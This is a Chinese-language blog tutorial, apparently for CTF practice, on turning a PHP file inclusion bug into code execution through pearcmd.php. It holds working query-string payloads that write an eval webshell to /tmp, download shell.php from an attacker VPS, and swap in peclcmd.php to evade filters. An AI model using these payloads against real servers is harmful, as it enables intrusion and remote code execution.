pearcmd.php利用

秋雨样 · 2025-8-25  · 次阅读


参考:https://www.cnblogs.com/yuy0ung/articles/18220835

pecl是PHP中用于管理扩展而使用的命令行工具,而pearpecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装

不过再Docker的任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php
平时打ctf基本上都在Docker环境,所以往往都能利用pearcmd.php

要利用这个pearcmd.php需要满足几个条件

  • 要开启register_argc_argv这个选项(在Docker中自动开启)
  • 要有文件包含的利用点
  • 确定pearcmd.php的位置,通常为/usr/local/lib/php

register_argc_argv

如果环境中含有php.ini,则默认register_argc_argv=Off;如果环境中没有php.ini,则默认register_argc_argv=On

当开启了这个选项,用户的输入将会被赋予给$argc$argv$_SERVER['argv']几个变量。
也就是说:当我们开启register_argc_argv选项的时候,$_SERVER['argv']就会生效

前置知识

pear会在pearcmd.php获取命令行参数:

PEAR_Command::setFrontendType('CLI');
$all_commands = PEAR_Command::getCommands();

$argv = Console_Getopt::readPHPArgv();
// fix CGI sapi oddity - the -- in pear.bat/pear is not removed
if (php_sapi_name() != 'cli' && isset($argv[1]) && $argv[1] == '--') {
    unset($argv[1]);
    $argv = array_values($argv);
}

pearcmd.php使用readPHPArgv()获取命令行参数:

public static function readPHPArgv()
{
    global $argv;
    if (!is_array($argv)) {
        if (!@is_array($_SERVER['argv'])) {
            if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                $msg = "Could not read cmd args (register_argc_argv=Off?)";
                return PEAR::raiseError("Console_Getopt: " . $msg);
            }
            return $GLOBALS['HTTP_SERVER_VARS']['argv'];
        }
        return $_SERVER['argv'];
    }
    return $argv;
}

这里会先尝试$argv,如果不存在再尝试$_SERVER[‘argv’],后者我们可通过query-string控制。也就是说,我们通过Web访问了pear命令行的功能,且能够控制命令行的参数
而这样获取参数,与正常获取参数略有不同
我们可以用以下测试代码

<?php
function readPHPArgv()
{
    global $argv;
    if (!is_array($argv)) {
        if (!@is_array($_SERVER['argv'])) {
            if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                $msg = "Could not read cmd args (register_argc_argv=Off?)";
                throw new Exception("Console_Getopt: " . $msg);
            }
            return $GLOBALS['HTTP_SERVER_VARS']['argv'];
        }
        return $_SERVER['argv'];
    }
    return $argv;
}

// 调用函数获取参数
try {
    $arguments = readPHPArgv();
    // 输出获取到的参数
    print_r($arguments);
} catch (Exception $e) {
    echo 'Error: ' . $e->getMessage();
}
?>

我们可以得到下面的结论

  1. &符无发分割参数,真正能分割参数的是加号
  2. 等号无法赋值,而是会直接被传进去当作参数。

而pear命令实质上就是调用了pearcmd.php,也就是说我们可以利用pear命令的形式来进行漏洞利用
pear命令有很多:

Commands:
build                  Build an Extension From C Source
bundle                 Unpacks a Pecl Package
channel-add            Add a Channel
channel-alias          Specify an alias to a channel name
channel-delete         Remove a Channel From the List
channel-discover       Initialize a Channel from its server
channel-info           Retrieve Information on a Channel
channel-login          Connects and authenticates to remote channel server
channel-logout         Logs out from the remote channel server
channel-update         Update an Existing Channel
clear-cache            Clear Web Services Cache
config-create          Create a Default configuration file
config-get             Show One Setting
config-help            Show Information About Setting
config-set             Change Setting
config-show            Show All Settings
convert                Convert a package.xml 1.0 to package.xml 2.0 format
cvsdiff                Run a "cvs diff" for all files in a package
cvstag                 Set CVS Release Tag
download               Download Package
download-all           Downloads each available package from the default channel
info                   Display information about a package
install                Install Package
list                   List Installed Packages In The Default Channel
list-all               List All Packages
list-channels          List Available Channels
list-files             List Files In Installed Package
list-upgrades          List Available Upgrades
login                  Connects and authenticates to remote server [Deprecated in favor of channel-login]
logout                 Logs out from the remote server [Deprecated in favor of channel-logout]
makerpm                Builds an RPM spec file from a PEAR package
package                Build Package
package-dependencies   Show package dependencies
package-validate       Validate Package Consistency
pickle                 Build PECL Package
remote-info            Information About Remote Packages
remote-list            List Remote Packages
run-scripts            Run Post-Install Scripts bundled with a package
run-tests              Run Regression Tests
search                 Search remote package database
shell-test             Shell Script Test
sign                   Sign a package distribution file
svntag                 Set SVN Release Tag
uninstall              Un-install Package
update-channels        Update the Channel List
upgrade                Upgrade Package
upgrade-all            Upgrade All Packages [Deprecated in favor of calling upgrade with no parameters]

用AI翻译一下

命令列表:
build                  从C源码构建扩展
bundle                 解压PECL包
channel-add            添加频道
channel-alias          指定频道别名
channel-delete         从列表中移除频道
channel-discover       从服务器初始化频道
channel-info           获取频道信息
channel-login          连接并认证远程频道服务器
channel-logout         从远程频道服务器登出
channel-update         更新现有频道
clear-cache            清除Web服务缓存
config-create          创建默认配置文件
config-get             显示单个配置项
config-help            显示配置项说明
config-set             修改配置项
config-show            显示所有配置项
convert                将package.xml 1.0转换为2.0格式
cvsdiff                对包内所有文件执行"cvs diff"命令
cvstag                 设置CVS发布标签
download               下载包
download-all           从默认频道下载所有可用包
info                   显示包信息
install                安装包
list                   列出默认频道中已安装的包
list-all               列出所有包
list-channels          列出可用频道
list-files             列出已安装包中的文件
list-upgrades          列出可用更新
login                  连接并认证远程服务器(已弃用,建议使用channel-login)
logout                 从远程服务器登出(已弃用,建议使用channel-logout)
makerpm                从PEAR包构建RPM规格文件
package                构建包
package-dependencies   显示包依赖关系
package-validate       验证包一致性
pickle                 构建PECL包
remote-info            查看远程包信息
remote-list            列出远程包
run-scripts            运行包附带的安装后脚本
run-tests              运行回归测试
search                 搜索远程包数据库
shell-test             Shell脚本测试
sign                   签署包分发文件
svntag                 设置SVN发布标签
uninstall              卸载包
update-channels        更新频道列表
upgrade                更新包
upgrade-all            更新所有包(已弃用,建议直接使用无参数的upgrade命令)

注释说明:
1. [Deprecated]标注表示已弃用的命令,建议使用替代方案
2. 频道(channel)指PEAR/PECL的软件分发渠道
3. package.xml是PEAR包的元数据描述文件
4. CVS/SVN相关命令用于版本控制系统集成
5. "伪包"(pickle)是PECL包的打包格式
6. 回归测试(run-tests)指用于检验程序稳定性的测试套件

利用

config-create

这个方法有两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中:

config-create: must have 2 parameters, root path and filename to save as

利用payload:

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php

?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=phpinfo()?>+/tmp/test.php

数据包为

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Host: 192.168.1.162:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close

发送这个数据包,目标将会写入一个文件/tmp/hello.php,其内容包含<?=phpinfo()?>
里写入文件的内容应该是/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>一整句话,另外,直接写入<?=@eval($_POST['cmd']);?>可能会在输出的时候重复输出很多次,可以多加一个die:
<?=@eval($_POST['cmd']);die()?>
成功写入文件后,利用文件包含漏洞包含该文件即可实现getshell

install

除了上面的方法我们还可以使用install方法:

pear install http://[vps]:[port]/test1.php

这里是在vps上下载test1.php至本网站
所以,可以从外面将shell文件下载进来然后进行getshellinstall--installroot这个选项可以指定他的安装目录,这里可以构造payload远程下载我们的文件了
payload:

?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/shell.php

/?file=/usr/local/lib/php/peclcmd.php&+install+http://vps/shell.php

不难看出这串payload所下载的文件的保存地址在&file=/usr/local/lib/php/pearcmd.php&/tmp/pear/download/路径下面,这里可能会遇到一些有关配置方面的问题,因为名为&file=/usr/local/lib/php/pearcmd.php&的文件夹是新创建的,而用户并没有权限对其进行写操作,会导致利用失败

但是,除此之外install命令还有另外一种利用的姿势,payload如下:

file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://[vps]/shell.php

download

这个比上面install舒服点,这个直接下载到web目录了,不用提前知道web目录具体路径

pear download [option] [package]
这里的option只有一个-Z, --nocompress,下载一个未压缩的tar包

也可以下面的方式运用

pear download http://[vps]:[port]/test1.php

所以payload如下

?file=/usr/local/lib/php/peclcmd.php&+download+http://vps/1.php

也可以下面这种方式

?+download+file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/test1.php&

构造过程

我们可以看到在所有指令,例如download如果放在前面,那么其前面必有+这是由于在$_SERVER['argv']是直接对argv[1]进行分析而不是argv[0]所有在构造的时候,最好的方式就是将指令放在第二位

代替

如果pearcmd关键词被ban,可以用peclcmd.php作为平替,在这个php文件当中其实就是引入了pearcmd.php:

if ('/www/server/php/52/lib/php' != '@'.'include_path'.'@') {
    ini_set('include_path', '/www/server/php/52/lib/php');
    $raw = false;
} else {
    // this is a raw, uninstalled pear, either a cvs checkout, or php distro
    $raw = true;
}
define('PEAR_RUNTYPE', 'pecl');
require_once 'pearcmd.php';//这里包含了pearcmd.php

一个好奇的人